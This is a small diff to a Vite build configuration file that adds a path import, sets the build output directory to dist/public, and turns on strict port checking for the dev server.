@ -1,5 +1,6 @@
import react from '@vitejs/plugin-react';
import { defineConfig } from 'vite';
import react from "@vitejs/plugin-react";
import path from "path";
import { defineConfig } from "vite";
// https://vitejs.dev/config/
export default defineConfig({
@ -7,4 +8,10 @@ export default defineConfig({
optimizeDeps: {
exclude: [],
},
build: {
outDir: path.resolve(__dirname, "dist/public"),
},
server: {
strictPort: true,
},
});